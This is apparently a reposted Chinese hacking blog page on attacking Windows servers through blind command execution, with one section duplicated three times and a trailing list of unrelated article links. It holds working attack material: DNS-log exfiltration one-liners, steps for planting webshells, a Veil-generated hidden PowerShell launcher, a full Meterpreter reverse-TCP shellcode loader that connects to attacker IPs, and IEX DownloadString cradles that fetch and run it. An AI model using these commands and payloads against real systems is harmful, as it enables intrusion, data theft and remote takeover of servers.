20160630整理到cloudeye攻击的一些姿势
来源:互联网 发布:广州中名软件 编辑:程序博客网 时间:2024/06/05 07:42
使用Powershell反弹Meterpreter Shell
cloudeye在windows下的应用
cloudeye在windows下的应用
今天突发奇想的一个姿势,算不上什么技巧,分享一下吧。
看到有人问过。http://zone.wooyun.org/content/27440
其实很羡慕linxu的curl `whoami`.xxxxxx.dnslog.info
这样去获取数据什么的。
windows下面其实用命令也可以实现,不过还是有很多问题。
比如win下获取当前用户:
whoami
l3m0n3115\l3m0n
获取计算机名: for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
获取用户名: for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
获取文件内容什么的也可以这样获取,比如再for通过循环一下,但是编码问题是硬伤。
其实核心的还是利用了for /f
如果有更好玩的姿势,求来分享一下哇。
cloudeye在windows下的应用
今天突发奇想的一个姿势,算不上什么技巧,分享一下吧。
看到有人问过。http://zone.wooyun.org/content/27440
其实很羡慕linxu的curl `whoami`.xxxxxx.dnslog.info
这样去获取数据什么的。
windows下面其实用命令也可以实现,不过还是有很多问题。
比如win下获取当前用户:
whoami
l3m0n3115\l3m0n
获取计算机名: for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
获取用户名: for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
获取文件内容什么的也可以这样获取,比如再for通过循环一下,但是编码问题是硬伤。
其实核心的还是利用了for /f
如果有更好玩的姿势,求来分享一下哇。
撸站时难免会遇到一些比较特殊的情况,遇到一个可以执行命令的点(Windows,可连外网),却无法获得回显;这种情况下我通常会用这几种方法去尝试:
1、使用CloudEye获取命令执行的结果
2、找Web路径写WebShell
3、下载一个MSF的Payload直接反弹
某些情况下目标直接对公网开放3389,直接加个账户用完再删...
先说第一种方法,使用CloudEye获取回显结果: for /F %x in ('whoami') do start http://cmd.xxxxx.dnslog.info/[%x].jpg
执行这条命令,会调用默认的浏览器去打开后面的地址,我们可以获取到whoami的命令执行结果。
这里有一点比较坑的情况是如果结果中一行有空格,那这一行空格后面的结果会丢掉。
比如我执行Dir D:\这条命令的结果就变成了这样: for /F %x in ('dir D:\') do start http://cmd.xxxxxx.dnslog.info/[%x].jpg
好在dir有/b参数可以解决这个问题: for /F %x in ('dir /b D:\') do start http://cmd.xxxxxx.dnslog.info/[%x].jpg
这样就能大致完成遍历目录的工作(目录或文件名有空格也会截断结果)
第二种方法:找Web路径:
您要是愿意一个目录一个目录去翻,或是找配置文件来定位Web路径,我也没有意见;但我经常用且行之有效的方法是找一个web目录中文件名字比较特殊一点的文件,然后搜索: for /F %x in ('dir /s/a-d/b E:\*PopMessage.jsp') do echo 111222>%x.jsp
这样会在E盘中每一个包含PopMessage.jsp的目录中再写一个PopMessage.jsp.jsp,文件内容是111222;待一定时间后命令执行完成,试着去访问生成的这个文件看结果;成功了再写一个一句话又何尝不可,别忘了删除您写的垃圾文件。
同样,您也可以将搜索的路径结果通过CloudEye返回,自己判断哪些有可能是Web目录然后再写文件。
第三种方法:下载MSF的Payload
请参见:http://drops.wooyun.org/tips/2420
我经常用的有3种下载方法:FTP、Powershell、bitsadmin,因为在不能确定目标有没有安装杀软的情况下这3种方法是最行之有效的。
若是目标有Powershell的话,那么会有一种更为简单的方法来获得Meterpreter Shell:
Veil FrameWork已经给我们提供了足够的资源:https://github.com/Veil-Framework/Veil-Evasion/tree/master/modules/payloads/powershell/meterpreter
我使用reverse_tcp的Payload来做测试,若是使用Veil先用对应的Payload,则会生成一个bat文件: @echo off
if %PROCESSOR_ARCHITECTURE%==x86 (powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbbtNAEH33V4wsS7UV23JuUFJV6k2FShCqpoKHKA/OZtosXe9au+Mkbsm/M24doFVBiKdj786cc+aygYBDOPK96ZlSF0VpLIX+HVqNqt9LF0r50QzKaq6kAEc5MeCG+B4uNF2ShS/SUpWrY6WMCNuzdQyV1ASbFusW76OD/9Y5tZgTXi8ZFjudquVdxfBLuf36Tbs9adT9I49s/RA4LnqM6+Tz/BsKgkntCIt0jJROjLhDci1COH3l7nixsOjceV5IVc9GIxZAywFrY+9ieC3jCa/rEjl8QlxE8XrgpTVkhFFt6LUoIy9w6anRmo2Ge93uftrdH6S9ftodDPdieDfsvY3gO5iKEl0pdQBBycVNj63NG29PfbvQ3FQtMPTnNaEfwyDiwA0HMvkVCpQrDIPyBdE932deUP8D3/REEptcoeVWNMYNN6XfY844izrDRq2eZrOGcHNy7q2XUiGErJAo+ntyBA+Nk85zq3Uc3HeGcb8X/7nd5yq/dUw3Nhoj2Ho3xrKkPOyyGcnCCIPmq9NhCXYXyMbeju6FpfdIJ1ypC6e8VDN28iHXC4URZyXd2dYLiHN5L5JmcJAUWMzRnuGN1JKk0RAISMZ5geB/lbrf8yHR/OfKXCA8npxXWjSRDpIyd46WtmomdBjQaPTsjWVxUKcfUd/SMs42/SzLGAZZ5O2cX1WaZIHp41aacoJ2JQW69FNu3TJXzQxNWTcthIwH9/Q6ZmGwSXd9j6IYforw/tFu7O3zY8U42MQNZM9XZkK5pWSiEEtIJiiMXsD+m0GWbUVOYvmw/QE=\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();") else (%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbbtNAEH33V4wsS7UV23JuUFJV6k2FShCqpoKHKA/OZtosXe9au+Mkbsm/M24doFVBiKdj786cc+aygYBDOPK96ZlSF0VpLIX+HVqNqt9LF0r50QzKaq6kAEc5MeCG+B4uNF2ShS/SUpWrY6WMCNuzdQyV1ASbFusW76OD/9Y5tZgTXi8ZFjudquVdxfBLuf36Tbs9adT9I49s/RA4LnqM6+Tz/BsKgkntCIt0jJROjLhDci1COH3l7nixsOjceV5IVc9GIxZAywFrY+9ieC3jCa/rEjl8QlxE8XrgpTVkhFFt6LUoIy9w6anRmo2Ge93uftrdH6S9ftodDPdieDfsvY3gO5iKEl0pdQBBycVNj63NG29PfbvQ3FQtMPTnNaEfwyDiwA0HMvkVCpQrDIPyBdE932deUP8D3/REEptcoeVWNMYNN6XfY844izrDRq2eZrOGcHNy7q2XUiGErJAo+ntyBA+Nk85zq3Uc3HeGcb8X/7nd5yq/dUw3Nhoj2Ho3xrKkPOyyGcnCCIPmq9NhCXYXyMbeju6FpfdIJ1ypC6e8VDN28iHXC4URZyXd2dYLiHN5L5JmcJAUWMzRnuGN1JKk0RAISMZ5geB/lbrf8yHR/OfKXCA8npxXWjSRDpIyd46WtmomdBjQaPTsjWVxUKcfUd/SMs42/SzLGAZZ5O2cX1WaZIHp41aacoJ2JQW69FNu3TJXzQxNWTcthIwH9/Q6ZmGwSXd9j6IYforw/tFu7O3zY8U42MQNZM9XZkK5pWSiEEtIJiiMXsD+m0GWbUVOYvmw/QE=\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();")
为了将其简化,从其中提取Powershell代码: $c = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
"@
try{
$s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp)
$s.Connect('123.222.123.125', 9527) | out-null;
$p = [Array]::CreateInstance("byte", 4);
$x = $s.Receive($p) | out-null;
$z = 0
$y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5);
$y[0] = 0xBF
while ($z -lt [BitConverter]::ToInt32($p,0))
{
$z += $s.Receive($y,$z+5,32,[System.Net.Sockets.SocketFlags]::None)
}
for ($i=1; $i -le 4; $i++)
{
$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]
}
$t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;
$x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40)
[System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length)
$t::CreateThread(0,0,$x,0,0,0) | out-null;
Start-Sleep -Second 86400
}
catch{}
注意上面设置反弹IP和端口的地方: $s.Connect('反弹IP', 端口)
我把这些代码写成了一个可以远程调用的方法(rev.ps1): function rev {
$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
"@
try{$s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp)
$s.Connect('122.211.111.222', 9527) | out-null; $p = [Array]::CreateInstance("byte", 4); $x = $s.Receive($p) | out-null; $z = 0
$y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); $y[0] = 0xBF
while ($z -lt [BitConverter]::ToInt32($p,0)) { $z += $s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None) }
for ($i=1; $i -le 4; $i++) {$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]}
$t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40)
[System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length)
$t::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}
}
通过远程调用,就不需要往目标服务器上上传文件了:
Metasploit payload/windows/meterpreter/reverse_tcp监听9527端口:
x64执行: C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -nop -W Hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://111.222.123.215/rev.ps1');rev"
X86执行: powershell -nop -W Hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://111.222.123.215/rev.ps1');rev"
成功获得Meterpreter Shell:
使用此方法要注意的是目标服务器可以连接外网,且带有Powershell。使用 powershell set-executionpolicy remotesigned
C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe set-executionpolicy remotesigned
允许Powershell的脚本执行权限。
cloudeye在windows下的应用
今天突发奇想的一个姿势,算不上什么技巧,分享一下吧。
看到有人问过。http://zone.wooyun.org/content/27440
其实很羡慕linxu的curl `whoami`.xxxxxx.dnslog.info
这样去获取数据什么的。
windows下面其实用命令也可以实现,不过还是有很多问题。
比如win下获取当前用户:
whoami
l3m0n3115\l3m0n
获取计算机名: for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
获取用户名: for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
获取文件内容什么的也可以这样获取,比如再for通过循环一下,但是编码问题是硬伤。
其实核心的还是利用了for /f
如果有更好玩的姿势,求来分享一下哇。
- 20160630整理到cloudeye攻击的一些姿势
- SQL注入攻击与防御的一些姿势
- 正确的耳机线整理姿势
- 关于反射的一些姿势
- maven项目的一些姿势
- scanf() 的一些新姿势
- SQL的一些攻击
- 一些STL的新姿势pika~
- XSS过滤器Bypass的一些姿势 - xiaix
- 阅读Android源码的一些姿势
- 阅读Android源码的一些姿势
- 个人看B站的一些姿势
- 阅读Android源码的一些姿势
- 阅读 ANDROID 源码的一些姿势
- 【Android】阅读Android源码的一些姿势
- 阅读 ANDROID 源码的一些姿势
- Burp Suite出了一个类似cloudeye.me的功能
- dns带外查询(cloudeye.me的使用)
- android中子线程更新UI的几种方法
- 【那些年遇到过的面试题】netstat/tcpdump/traceroute/ss/probe
- 通过sqoop增量传送oracle数据到hive
- php openssl rsa 加密解密应用
- java三大特性之————封装
- 20160630整理到cloudeye攻击的一些姿势
- Android中ListView分页加载数据
- idea常用配置
- RecyclerView--监测View是否可以沿着指定方向滑动
- STC双串口单片机无法烧写下载程序原因,普中开发箱,STC12C5A60S2
- Timus 1892 Morning in Koltsovo
- iOS向上滑动,导航栏颜色逐渐加深
- angularJS $resource与后台restapi的对应关系
- 初识JSP